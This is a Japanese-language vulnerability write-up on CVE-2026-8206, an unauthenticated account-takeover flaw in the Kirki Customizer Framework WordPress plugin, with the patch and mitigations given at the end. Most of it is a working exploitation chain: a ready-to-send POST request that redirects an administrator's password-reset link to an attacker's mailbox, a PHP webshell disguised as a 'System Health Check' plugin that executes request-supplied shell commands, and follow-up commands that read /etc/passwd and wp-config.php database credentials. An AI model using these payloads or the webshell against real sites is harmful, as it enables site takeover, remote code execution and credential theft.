
CVE-2026-8206: Kirki Customizer Framework - 未認証のアカウント乗っ取り (CVSS 9.8)
CVSS v3.1 9.8 / 10.0 CRITICAL
ベクター: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE-2026-8206 は、Kirki Customizer Framework — 90,000 以上のアクティブインストール数を誇る人気の WordPress ページビルダープラグイン — における認証なしアカウント乗っ取りの脆弱性です。この脆弱性により、攻撃者は単一の HTTP リクエストを送信するだけで、任意の WordPress アカウント(管理者を含む)を乗っ取ることができます。
このバグは、ComponentLibrary モジュールの REST API エンドポイント kirki-forgot-password に存在します。このエンドポイントは任意のユーザーのパスワードリセットをリクエストでき、リセットリンクをユーザーの登録メールアドレスではなく攻撃者が指定したメールアドレスに送信します。
| 情報 | 詳細 |
|---|---|
| プラグイン | Kirki Customizer Framework (WordPress ページビルダー) |
| 影響を受けるバージョン | 6.0.0 – 6.0.6 |
| 修正済みバージョン | 6.0.7 (または 6.0.12+) |
| 脆弱性タイプ | パスワードリセットメール乗っ取りによる認証なしアカウント乗っ取り |
| エンドポイント | /index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password (または /wp-json/KirkiComponentLibrary/v1/kirki-forgot-password) |
| CVSS | 9.8 CRITICAL |
悪用の前提条件:
→ Kirki 6.0.0–6.0.6 がインストールされているすべての WordPress サイトは、デフォルトで脆弱です。
Kirki は、Component Library 機能用に、login、register、forgot-password、change-password を含む REST API エンドポイントを登録します。これらはすべてゲストアクセスを許可します (guest_permissions_check が true を返します)。
WordPress の nonce は CSRF 保護トークンです。Kirki は X-WP-Element-Nonce ヘッダーを介した nonce を要求するか、リクエスト内の nonce パラメータをチェックします。ただし、nonce はクライアント側から公開的に生成・抽出できます。
WordPress は get_password_reset_key() を使用してパスワードリセットトークンを生成します。このトークンは、Kirki によって送信前にメールテンプレートに含められます。
ファイル: ComponentLibrary/controller/CompLibFormHandler.php
脆弱なバージョン (6.0.0–6.0.6) では、handle_forgot_password() 関数は、提供されたメールアドレスがユーザーの登録メールアドレスと一致するかどうかを検証しません。攻撃者は被害者のユーザー名と自身のメールアドレスを指定でき、リセットリンクは攻撃者のメールアドレスに送信されます。
脆弱なソースコード:
public function handle_forgot_password( $request ) {
$form_data = $request->get_body_params();
$this->validate_nonce( 'kirki-forgot-password' );
$email = $form_data['email']; // <-- ATTACKER CONTROLLED
$username = $form_data['username'];
$user = get_user_by( 'login', $username );
//BUG: Does NOT check $email === $user->user_email
// Attacker's email is used directly
$key = get_password_reset_key( $user );
$reset_link = "$url?action=rp&key=$key&login=$username";
// SENDS RESET LINK TO ATTACKER'S EMAIL
wp_mail( $email, $subject, $body_with_reset_link );
// ^^^^^
// ATTACKER'S EMAIL, NOT THE USER'S EMAIL
}
メールの件名と本文は、整合性を検証する HMAC 署名なしで emailSubject および emailBody パラメータを介してクライアントから受け取られます。攻撃者は送信されるメールの内容を任意に改ざんできます。
// VULNERABLE VERSION: No HMAC verification
$email_subject = $form_data['emailSubject']; // Client-controlled
$email_body = $form_data['emailBody']; // Client-controlled
// No verify_email_template_signature()
// PATCHED VERSION (6.0.7+): HMAC verification / Email matching against DB
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
return new WP_REST_Response( array( 'message' => 'If an account exists...' ), 200 );
}
| 要因 | 説明 |
|---|---|
| 認証が不要 | guest_permissions_check() が true を返す — 誰でもエンドポイントを呼び出せる |
| 任意のアカウントを乗っ取り可能 |
CVE-2026-8206 の悪用は、ゼロアクセス(アカウントなし、パスワードなし、セッションなし)から始まり、HTTP リクエストのみを使用して完全な管理者乗っ取りに至ります。
Phase 1: Extract Nonce → Obtain nonce from a public page (if required)
Phase 2: Hijack Reset Email → Send reset link to attacker's email
Phase 3: Reset Password → Change admin password using the obtained reset key
Phase 4: Login Admin → Log in with the new password
Phase 5: Webshell Upload → Install backdoor via plugin upload
Phase 6: RCE → Execute arbitrary commands on the server
wordpress.org からプラグインをダウンロードし、CompLibFormHandler.php ファイルを直接開きます:
// The handle_forgot_password function receives data from the client:
$email_subject = isset( $form_data['emailSubject'] )
? sanitize_text_field( $form_data['emailSubject'] ) : '';
$email_body = isset( $form_data['emailBody'] )
? json_decode( $form_data['emailBody'], true ) : '';
// Email body rendering logic:
foreach ( $email_body as $body_data ) {
if ( $body_data['type'] === 'text' ) {
$email_body = $email_body . $body_data['value'];
} elseif ( $body_data['type'] === 'chip' ) {
$email_body = $email_body . $chip_data[ $body_data['value'] ];
// ^^^^^^^^^^^^^^^^^^^
// $chip_data['reset_link'] = actual reset URL!
}
}
→ コードを読むとわかること: emailBody は JSON 配列である必要があり、各項目は type と value を持ちます。type = chip かつ value = reset_link の場合、Kirki はメールにリセットリンクを自動的に挿入します。
プラグインディレクトリ内を直接 grep します:
grep -r "emailBody" wp-content/plugins/kirki/assets/js/
grep -r "reset_link" wp-content/plugins/kirki/assets/js/
コンパイル済みのフロントエンドコードから、必要な正確な JSON 構造が判明します。
Find endpoint (/wp-json/ or rest_route)
↓
Read PHP source → find $form_data['emailBody']
↓
Understand JSON array format (type / value)
↓
Read chip_data array → find key "reset_link"
↓
Build payload: emailBody=[{"type":"chip","value":"reset_link"}]
↓
Test → success
攻撃者は、被害者のユーザー名 (admin) と攻撃者が管理するメールアドレス ([email protected]) を指定して、forgot-password エンドポイントに POST リクエストを送信します。サーバーは被害者用のリセットキーを生成しますが、リセットリンクは [email protected] に送信されます。
リクエストの送信:
POST /index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password HTTP/1.1
Host: localhost:8181
Content-Type: application/x-www-form-urlencoded
username=admin&[email protected]&emailSubject=Password+Reset&emailBody=%5B%7B%22type%22%3A%22text%22%2C%22value%22%3A%22Reset%3A+%22%7D%2C%7B%22type%22%3A%22chip%22%2C%22value%22%3A%22reset_link%22%7D%5D

レスポンス (成功):

攻撃者のメールボックスで受信されたメール (http://localhost:8025 の MailHog):
Subject: Password Reset
Click the link below to reset your password:
http://localhost:8181/wp-admin/install.php?action=rp&key=JHr8kQ2mVnXz9pLw&login=admin

攻撃者は、メールから取得した key トークンを使用して、kirki-change-password エンドポイントまたは WordPress のデフォルトフォームを介して管理者アカウントのパスワードを変更し、ログインしてウェブサイトの完全な管理権限を獲得します。

パスワードが変更され、admin アカウントでアクセスされました。

アカウント admin へのアクセスに成功。
管理者ダッシュボードへのアクセスを獲得した後、攻撃者は WordPress のデフォルトのプラグインアップロード機能を通じて、アカウント乗っ取りからリモートコード実行 (RCE) へと昇格させます。
攻撃者は、正規の WordPress プラグインを装った PHP ウェブシェルを作成します:
<?php
/*
Plugin Name: System Health Check
Description: System diagnostics tool
Version: 1.0
Author: WordPress
*/
if (isset($_REQUEST['cmd'])) {
echo '<pre>';
echo htmlspecialchars(shell_exec($_REQUEST['cmd']));
echo '</pre>';
}
このファイルは、管理者インターフェースからのアップロード用に system-health.zip に圧縮されます。
攻撃者はプラグイン → 新規追加 → プラグインのアップロードに移動し、system-health.zip ファイルを選択して今すぐインストール → プラグインを有効化をクリックします。

アップロード後、WordPress は .zip ファイルをサーバー上の /wp-content/plugins/ ディレクトリに自動的に展開し、ウェブシェルが動作可能な状態になります。
攻撃者はエンドポイント /wp-content/plugins/webshell-plugin/shell.php を介してウェブシェルに直接アクセスします


RCE 成功。
この時点で、攻撃者は www-data 権限でサーバー上で完全なコマンド実行能力を持ちます。その後のアクションには以下が含まれる可能性があります:
Admin Dashboard (Account Takeover)
↓
Upload Plugin containing Webshell (.zip)
↓
WordPress extracts → .php file resides on server
↓
Access shell.php?cmd=<command>
↓
Server executes command → returns result
↓
RCE complete — full www-data privileges on server
| 現在のバージョン | アップグレード先 |
|---|---|
| 6.0.0 – 6.0.6 | 6.0.7 以降 |
// AFTER (patched):
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
return new WP_REST_Response(
array( 'message' => 'If an account exists...' ), 200
);
}
$email = $user_email; // Force use of the user's actual email
管理者アカウントが侵害された場合でも、以下の対策により被害を軽減できます:
| ユーザー名のみが必要 (デフォルト: 'admin') — メールアドレス・パスワードは不要 |
| 影響: 管理者乗っ取り | 管理者乗っ取り → ウェブシェルアップロード → RCE → サーバー完全掌握 |
| 広範な影響 | Kirki は多くの WordPress テーマに広く統合されているプラグイン |
| コマンド | 目的 |
|---|
id | 実行中ユーザーの権限を確認 |
whoami | 現在のユーザー名を表示 |
cat /etc/passwd | システムのユーザーリストを読み取る |
uname -a | カーネル/OS 情報を表示 |
cat wp-config.php | データベースの認証情報を読み取る |
ls -la / | ファイルシステム全体を閲覧 |
| # | フェーズ | メソッド | パス |
|---|
| 1 | リセットメールの乗っ取り | POST | /index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password |
| 2 | パスワードリセット | GET | /wp-login.php?action=rp&key=<token>&login=admin |
| 3 | 管理者ログイン | POST | /wp-login.php |
| 4 | ウェブシェルのアップロード | POST | /wp-admin/update.php?action=upload-plugin |
| 5 | RCE | GET | /wp-content/plugins/webshell-plugin/shell.php?cmd=<command> |
| 対策 | 設定 |
|---|
| ダッシュボードからのプラグイン・テーマインストールをブロック | wp-config.php に define('DISALLOW_FILE_MODS', true); を追加 |
| ダッシュボードからのコード編集をブロック | wp-config.php に define('DISALLOW_FILE_EDIT', true); を追加 |
| アップロードディレクトリのパーミッションを制限 | ディレクトリは chmod 755、ファイルは chmod 644 |
| WAF (Web Application Firewall) | ModSecurity または Cloudflare WAF を導入し、REST API への異常なリクエストをブロック |
| 監視 | OSSEC や Wordfence などのツールで /wp-content/plugins/ のファイル変更を監視 |